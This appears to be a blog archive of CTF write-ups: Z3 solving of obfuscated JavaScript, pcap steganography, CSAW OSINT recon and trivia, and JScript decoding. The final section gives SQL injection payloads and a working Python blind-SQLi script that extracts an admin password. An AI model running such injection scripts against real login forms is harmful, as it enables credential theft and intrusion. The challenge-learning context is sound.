Showing posts with label solve. Show all posts
Showing posts with label solve. Show all posts

Wednesday, April 18, 2018

Byte Bandits CTF 2018 - laz3y (350)


In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.

We're going to jump into an intro of Z3 to solve parts of this challenge after some initial reversing.

If you would like to watch a better version of the topics discussed in this blog post, check out LiveOverflow's great video on "Using z3 to find a password and reverse obfuscated JavaScript" - https://www.youtube.com/watch?v=TpdDq56KH1I. It helped a lot when attempting to solve this challenge.


Reversing


Here's a snippet of the file which was beautified using the online service jsnice:

(function() {
    _0x13c3dd(this, function() {
        if (_0x15c2('0x7') === _0x15c2('0x7')) {
            var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
            var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
            var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
            if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
                if (_0x15c2('0x9') === _0x15c2('0x9')) {
                    _0x53dbc9('0');
                } else {
                    return !![];
                }
            } else {
                if ('CJMng' === _0x15c2('0xa')) {
                    _0x4f7527();
                } else {
                    return !![];
                }
            }
        } else {
            return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
        }
    })();
}());

We can jump to potentially interesting parts of the code to find out what's going on.

One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:

var _0x387a = ["GfKdJ", ... "slice", "tryingharder", "Flag{", "log", "Invalid Password", "pDsTn", "UOAuo", ... ];

There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the Z3 SMT solver.

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/[_0xd1e9[9]](value) &&
      value[29] == _0xd1e9[10] &&
      value[4] == value[8] &&
      value[10] == value[14] &&
      value[17] == _0xd1e9[11] &&
      value[4] == _0xd1e9[11] &&
      leng(value) &&
      crypto(value) &&
      a(value) &&
      b(value) &&
      c(value) &&
      d(value) &&
      f(value)) {
    if (_0x15c2("0x26") === _0x15c2("0x26")) {
      console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
    } else {
      return !![];
    }
  } else {
    if (_0x15c2("0x27") !== "DbvWm") {
      /** @type {!Function} */
      var advancement = firstCall ? function() {
        if (fn) {
          var denies = fn[_0x15c2("0xd")](context, arguments);
          /** @type {null} */
          fn = null;
          return denies;
        }
      } : function() {
      };
      /** @type {boolean} */
      firstCall = ![];
      return advancement;
    } else {
      console[_0xd1e9[14]](_0xd1e9[15]);
    }
  }
}

Executing the script in a stub html file and looking at the following value we can see it's just a console.log pulled from one of the obscure array's:

console[_0xd1e9[14]](_0xd1e9[15]);
...
console['log']("Invalid Password");

The same is with the first condition after all the conditional checks:

console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
...
console['log']("Flag{" + value + "}");


There are also a lot of false flows in this obfuscated code, so we can reduce this function to the following:

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/.test(value) &&
    value[29] == "!" &&
    value[4] == value[8] &&
    value[17] == "_" &&
    value[4] == "_" &&
    leng(value) &&
    crypto(value) &&
    value[10] == value[14] &&
    a(value) &&
    b(value) &&
    c(value) &&
    d(value) &&
    f(value)) {
      console.log("Flag{" + value + "}");
  } else {
      console.log("Invalid Password");
  }
}

Now we need to analyze each one of these functions to make sure we can setup input to make it pass.

Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:

function crypto(context) {
  var val = "";
  var row = context.slice(18, 29);
  var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];

  for (var i = 0; i <= row.length; i++) {
    val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
  }

  return val == "tryingharder";
}

Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.

Reversing this process, we'll get the expected value for part of the flag:

$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'


Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):

190     value[29] == "!" &&           //X// payload[29]         = '!'
191     value[4] == value[8] &&       //X// 08 & 04             = '_'
192     value[17] == "_" &&           //X// payload[17]         = '_'
193     value[4] == "_" &&            //X// payload[4]          = '_'
194     leng(value) &&                //X// len(payload)       == 30
195     crypto(value) &&              //X// payload[18:29]     == 0bfuscati0n
196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
198     b(value) &&                   //X// p[12] == p[15] &&
199                                   //X// p[11] == "l" &&
200                                   //X// p[12] == "0" &&
201                                   //X// p[13] == "T" &&
202                                   //X// p[0]  == p[13]
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


We only have five constraints to solve for!  With the other values, we get the following partial flag from the static analysis done so far:

T???_???_??l0T?0?_0bfuscati0n!



Z3 Solve


If you haven't heard of Z3 before, check out the Z3-Playground repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.

Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.

from z3 import *

a, b = BitVecs('a b', 32)
s = Solver()

s.add((a + b) == 1337)
s.add(b > 20)

if s.check() == sat:
    print s.model()
else:
    print 'Unsat'

Letting z3 solve for this, it will return input which satisfies these constraints:

$ python hello.py
[b = 21, a = 1316]

The values 21 and 1316 do sum to 1337, so it looks like this works!

Now we can get into solving this challenge!

Instead of using BitVecs for variables, we'll be using integer values representing characters.
Initializing the unknown flag, we use the z3 Int type:

flag = [Int(i) for i in xrange(30)]


If you remember from above, the important constraints we need to setup are:

196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


Changing 'p' to 'flag' and wrapping a solve add around them will get us most of the way there:

s.add(flag[10] ≡ flag[14])
s.add(flag[3] - flag[0] ≡ 32)
s.add(flag[5] - flag[12] == 71)
s.add(flag[9] + flag[6] - flag[1] ≡ 58)
s.add((flag[0] * flag[1] * flag[2] * flag[3]) / 128 ≡ 767949)
s.add((flag[5] * flag[6] * flag[7]) / 25 ≡ 35581)

There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.

We should also setup the parts of the flag we know about already:

partial = 'T???_???_??l0T?0?_0bfuscati0n!'

for x in range(len(partial)):
  if partial[x] is not '?':
    s.add(flag[x] ≡ ord(partial[x]))

And setup the flag to be within a printable range:

for x in range(0, 30):
  s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))

With all of this setup, we could attempt to print the flag (converting ints to chars in the process):

if s.check() == sat:
  m = s.model()
  print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
  print 'Not Found.'

This yields:

Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}

This is very close! But not there yet! There are a few errors to work out.
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.

So for this we'll setup a constraint against it:

s.add(flag[9] != ord('/'))
...
Flag{Taht_wsA_(zl0Tz0z_0bfuscati0n!}

Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:

s.add(flag[1] == ord('h'))
...
Flag{That_wAs_azl0Tz0z_0bfuscati0n!}

If we look at 'wAs_azl0T', it looks like the words 'was a lot' so there's a missing space between 'a' and 'lot', we'll add this with an underscore:

s.add(flag[10] == ord('_'))

Now when we run this we get the Flag!

Flag{That_wAs_a_l0T_0z_0bfuscati0n!}

This was the final Z3 client for the solve:

Sunday, May 1, 2016

Google CTF 2016 - A Cute Stegosaurus (100)



Description for this challenge was:

Admire our cutest Stegosaurus ever!


They give you a pcap file called stego.pcap, sooooo let's fire up Wireshark and see if a shark can find a dinosaur.


Initially saw a /message.png route being hit, so I decided to see if I could extract that out of the pcap.


In Wireshark, this is really simple, just follow the TCP stream / File > Export Objects > HTTP, and you'll see it pop up with the file seen in the traffic.




Save and open the file and we get:



YESSSSSSs! A Fr'cken Stegosaurus!!!!

Something about this pun in this makes me tear up a bit....
(Also Pro-Tip for trolling stego solvers in the future, add some random artifacts into the image like they mean something, after staring at that dino leg on the right with the seam, I almost thought it could be hidden there... Not sure if it was the caffeine or sleep-deprivation, either way it'll work on someone)


Anyways, down to business.

Running this image through the standard stego tools & photo editing tools got nothing.  Tried a quick sweep through the threshold, bitplanes, alpha, stereograph, etc.  Nothing too interesting was in the exif data either.


So after taking a break on this one and coming back I looked in the packets again to see if anything else was there for carving.

Started to look for any patterns in any part of the packets (being only 2k of them & fairly regular).
Then I stumbled upon this little gem:



What... is this Urgent pointer thing all about ?  Why so Urgent ?

This must be the Nova Microdash of TCP packets.....


So let's see if we can find out what's so urgent.


After going through a few, it looks like they may actually be in the printable character range.  This one was 70, let's convert that, write it down and go to the next one.  The next was 123, these two combined make the characters 'F{' ... going backwards we'll also see 67 & 84 as 'CT'... All of this together is 'CTF{' -- Looks like we're on the right track.


Now I could've probably done this by hand, but I didn't want to, felt a little lazy and also thought it was a good time to explore tshark more.  So in a new terminal I went ahead and executed this command (kinda luckily guessed this one, I'm not very experienced with tshark):

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer

0
0
0
0
0
0
67
0
84
0
70
0
123
0
65
0
110
0
100
0
...


(Cut the output down for brevity) -- The problem with this output is there are all these 0 bytes that are sneaking in to our nice characters we want to extract. We could just grep these out to make life easier:

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer | egrep -vi "^0$"

67
84
70
123
65
110
100
...


There's probably a really cool hacky way to turn these all to chars on the command-line (leave a comment if you know one), but I just threw it in a python script, did some normal vim/sed magic for converting it to a list, and printed out the result:

arr = [
        67,
        84,
        70,
        123,
        65,
        110,
        100,
        95,
        89,
        111,
        117,
        95,
        84,
        104,
        111,
        117,
        103,
        104,
        116,
        95,
        73,
        116,
        95,
        87,
        97,
        115,
        95,
        73,
        110,
        95,
        84,
        104,
        101,
        95,
        80,
        105,
        99,
        116,
        117,
        114,
        101,
        125,
]

print "".join([chr(x) for x in arr])


After running this we get the answer:

CTF{And_You_Thought_It_Was_In_The_Picture}

Learned a lot in this challenge including urgent flags, how evil a stego creator can get (including imagined scenarios that could've been worse), and how to spell Stegosaurus.


Tuesday, September 22, 2015

CSAW 2015 - Recon & Trivia


The Recon on this CTF was very involved, and I love whenever challenges like these are designed and presented.

It felt like the point count vs. effort was a little off overall in this CTF, but I still enjoyed solving each of these!

Julian Cohen (100)


The "Julian Cohen" challenge was one of the easiest out of all the Recon ones.  You search for "CTF Julian Cohen" and you find the twitter handle HockeyInJune, which was recognizable as one of the admins on the CSAW CTF.  The note read:
Enough cocks, cabs, hockey, laser beams, and dates.  This year's recon challenge is going to be easy:
flag{f7da7636727524d8681ab0d2a072d663}
Source: https://twitter.com/HockeyInJune/status/641716034068684800

And just like the tweet says.. that one was easy! : )


Alexander Taylor (100)


This challenge was definitely the most involved.  It felt like it could've been 150-200 pts instead of 100.  There were multiple steps, starting from this point:
http://fuzyll.com/csaw2015/start

This link responds with some text:
CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.

So the first clue tells us to look for his university's hacking club.
Searching for this yields the following article:
Google Query: "Alexander Taylor" + club hacking security
http://www.usforacle.com/news/view.php/688459/Students-hacked-their-way-into-national-
Whitehatters (WCSC) is the club's name mentioned in the article.

Now trying http://fuzyll.com/csaw2015/wcsc, we get a response with the next clue:
CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==
Okay, base64 decode that, and we get:
$ echo 'TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==' | base64 -D

Nice work! The next part is at /csaw2015/<my super smash brothers main>.

Now we need to find the Super Smash main character he uses. Earlier I had found his twitter handle after searching his name, recognized it just like HocketInJune: https://twitter.com/fuzyll

Looking at his Tweets & Replies I found this message - https://twitter.com/fuzyll/status/629388270791581697
@who_is_KDB: I analyzed a game of yours in a SmashBoards thread (http://smashboards.com/threads/unpopular-opinion-yoshi-is-not-high-tier-evidence-inside.412944/page-2#post-19852453 …). Thoughts?

Following that link, I found his Super Smash forum user profile.  Hovering over the icons under his avatar you see one says main.  Going into his profile you see a clear listing of this with the names displayed: http://smashboards.com/members/fuzyll.300464/#info
...
Smash 64 Main: Ness
Melee Main: Ness
Brawl Main: Random
Smash WiiU Main: Yoshi

I tried Ness / ness at first, but that didn't work... Then I tried Yoshi (my favorite character) and that was it!

http://fuzyll.com/csaw2015/yoshi


This cute image of Yoshi was the only thing on the page.  When saving the file it saved with the .txt extension.

Now if we strings that (because it still is a PNG) -- we'll get this:

$ strings ~/Downloads/yoshi.txt | head

IHDR
bKGD
pHYs
tIME
tEXtComment
CSAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/.
IDATx
smBl
$h;!|
yYp19dn

The next part is the cryptosystem he had to break during his first Defcon Quals CTF.

This admittedly took me a long time to figure out,  after looking again at his CTF group in college - "Whitehatters (WCSC)" -- I found a listing of their competition history:
http://www.wcsc.usf.edu/scoreboard

Looking at that page, we can find the Defcon Quals they participated in. After looking around for a while, trying to find any writeups they may have created for this challenge, I couldn't find any and decided to find others who may have posted one.

On one Defcon 18 Quals writeup I noticed the mention of a crypto challenges with the enigma featured in it:
http://www.vnsecurity.net/ctf%20-%20clgt%20crew/2010/05/25/defcon-18-quals-writeups-collection.html

And trying that produced the next Clue: http://fuzyll.com/csaw2015/enigma
CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj

var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
    c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);

Okay, at this point I'm thinking .... yess, only 1 more after this, that question mark had me worried earlier.
This one was cake, just xor the value. Decided to use python for this instead of javascript because it looks a little cleaner:
$ python
>>> ''.join([chr(ord(x) ^ 0x4)  for x in "Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj"])

'The next stop on your quest is: /csaw2015/they_see_me_rollin'

Visiting: http://fuzyll.com/csaw2015/they_see_me_rollin ...

BOOM Flag! :D
CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!


Eric Liang (100)


Just like Notesy (write-up can be found here),  "Eric Liang" was one was filling the IRC chat for this CTF.  Everyone was looking for Eric Liang, where was he, where was ... Eric Liang ?

The description read:
Eric played ctfs with some friends a while ago.

Hint: I remember playing with them around 2014... err maybe 2013?
This one probably harvested the most frustration, but was also the closest to the CTF as it could possibly be.

After finding his Facebook, Twitter, IRC nick, LinkedIn, Email, Github, etc. ( All of which were irrelevant to the challenge, unless social engineering counts ) ... I gave up for a little while.

Finally looked at the top right of the page for the challenge, saw the "Archive" drop-down.  Looking in this there was 2014 & 2013 dates as mentioned in the hint.

Looking all over 2014, there seemed to be nothing. Then went onto year 2013, after a few seconds, it popped out from the Quals > Competitors page. After such a long search, it was just in our CTF backyard, hanging out in the Archive section. Just like other challenges such as "Notesy", and "Throwback", the web 600 challenge, this was another in the category of easy but unusual.


Trivia (10's)


These were fairly fast for us to solve through-out the CTF, but was a nice break between high point challenges.  Below are some quick summaries of each trivia challenge, including some extra links if you want to look into each one more!

Question: This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.

Solution: This was PlugX, could've been a few different solutions, but this was the most popular result.  More Information: https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf

Question: No More Free __!

Solution: No More Free Bugs Meme starting at CanSecWest, more details can be found here - http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/

Question: This mode on x86 is generally referred to as ring -2.

Solution: System Management Mode, more reading material can be found here - http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf

Question: This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.

Solution: This was either Timing Attack or Race Condition, turned out to be Race Condition.  This is a common one, so, wikipedia: https://en.wikipedia.org/wiki/Race_condition

Question: On Windows, loading a library and having it's code run in another process is called _ .

Solution: DLL Injection, here's a tutorial : ) - http://resources.infosecinstitute.com/api-hooking-and-dll-injection-on-windows/

Question: This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. 
The flag is his twitter handle.

Solution: Searched for the pentesting expert on Silicon Valley, and found the one and only Rob Fuller aka Mubix!  - https://twitter.com/mubix

Thoroughly enjoyed this CTF, can't wait for next years !

Sunday, September 6, 2015

MMA CTF 2015 - MQAAAA (70)


MQAAAA was one of those obscure stego/misc challenges that began in a search for various Binary-to-text encodings (Wiki Page) that are publicly available out there.

Between a mix of intuitive feelings and tests of each encoding, and analysis of letter frequencies, I landed on the first being base64. This seemed too simple, but then looking at the result, I saw the title of the challenge in the obscure output: "MQAAAA"

Base64 Decode:
$ echo 'I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA==' | base64 -D
Output:
#@~^MQAAAA== Um.bwDR+1tKcJtH) Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

Okay.... We've got some base64 lookin' stuff... some non base64 lookin' stuff... lots of space, and MQAAAA== decodes to 1. Great.

After being stumped for a while, I went on an assumption that this is another type of encoding or language out there somewhere.
Noticed that the start and end of this result was #@~^ and ^#~@... After looking at php for hours, having the image of deepen it's way into my retinas, I had the thought of pre / post tokens for languages burnt into my current thoughts. So let's search for one.

On SymbolHound (Great site for searching symboles) - I looked for the beginning segment: #@~^
The only Result:

It's IT | softwareontwikkeling, webdevelopment, ict oplossingen op maat
#@~^FQAAAA==@#@&CCb@#@&zz O@*@#@&TQIAAA==^#~@ HaiHai HaiHai #@~^IgAAAA==@#@&CCbCmk@#@&CmrCmk@#@&JzRR@*@#@&mgUAAA==^#~@ Cute. As you can see, @#@& appears to be a newline (@#
http://itsit.nl/klaphek/scrdec.html


This leads to a post entitled: "Breaking the Windows Script Encoder"
The code we're looking at after the Base64 decoding is JSCript. A funky version of ECMAScript used in windows (originally for ActiveX).

I did not read the article the search resulted in. Instead after looking on wikipedia for JScript I found a mention to the numerous online decryption services for JScript. After some searches I didn't find one hosted online, but did find a C script hosted on a site that was currently down, but available on the WaybackMachine - link.

And the C file which encodes & decodes JScript files: http://web.archive.org/web/20140209124110/http://www.virtualconspiracy.com/download/scrdec18.c


After compiling and running that against a new file containing the output of the base64 decoding, we get the flag:
WScript.echo("MMA{the_flag_word_is_obfuscation}")

MMA CTF 2015 - Login as admin! (30)

On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.


You can login with 'test/test' credentials, which gives you this output:
You are test user.
logout

Let's try logging in with the admin' user.

Initially tried a simple sql injection and it worked immediately:
Username: admin' --
This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!!
You are admin user.
The flag is your password!
logout

This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' --
> Success!
admin' and password like 'MMA{%' --
> Success!
admin' and password like 'abcd%' --
> Expected Failure.

Now that we have that out of the way, let's write a python client!
import sys
import requests
import random
import string

url = "http://arrive.chal.mmactf.link/login.cgi"
injection = "admin' and password like '{}' --"

allChars = string.lowercase

solution = "MMA{"

def found(c):
  print "Found! :: {}".format(c)
  print solution

while len(solution) < 80:
  for c in allChars:
    print 'Attempt: {}'.format(c)
    content = requests.post(url, {
      "username": injection.format(solution + c + "%")
    }).content
    if 'invalid' not in content:
      solution += c
      found(c)
      break
    elif c == 'z':
      solution += '_'
      found(c)


After a few cycles, this prints out:
  MMA{cats_alice_band}